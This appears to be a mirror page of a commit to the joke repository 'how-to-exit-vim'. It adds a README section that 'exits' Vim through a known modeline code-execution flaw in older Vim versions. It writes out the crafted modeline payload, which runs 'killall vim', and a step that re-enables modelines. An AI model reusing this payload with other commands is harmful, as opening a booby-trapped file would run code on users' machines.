mirror of
https://github.com/hakluke/how-to-exit-vim.git
synced 2025-06-16 17:41:56 +02:00
Merge pull request #157 from 3c1u/arbitrary-code-x-way
Add The Arbitrary Code Execution Way
This commit is contained in:
commit
e87858d460
1 changed files with 17 additions and 0 deletions
17
README.md
17
README.md
|
@ -647,6 +647,23 @@ vim
|
||||||
```
|
```
|
||||||
5. In the AWS EC2, select the newly created EC2 instance and terminate the instance.
|
5. In the AWS EC2, select the newly created EC2 instance and terminate the instance.
|
||||||
|
|
||||||
|
## The Arbitrary Code Execution Way
|
||||||
|
|
||||||
|
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
|
||||||
|
|
||||||
|
1. Create a file (say `quit.txt`) with the following data:
|
||||||
|
```
|
||||||
|
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
|
||||||
|
```
|
||||||
|
2. Ensure that the modeline option has not been disabled.
|
||||||
|
```
|
||||||
|
echo "set modeline" >> .vimrc
|
||||||
|
```
|
||||||
|
3. Open `quit.txt`.
|
||||||
|
```
|
||||||
|
:e! quit.txt
|
||||||
|
```
|
||||||
|
|
||||||
## The Circuit Breaker Way
|
## The Circuit Breaker Way
|
||||||
Credit:@Tomcat-42
|
Credit:@Tomcat-42
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue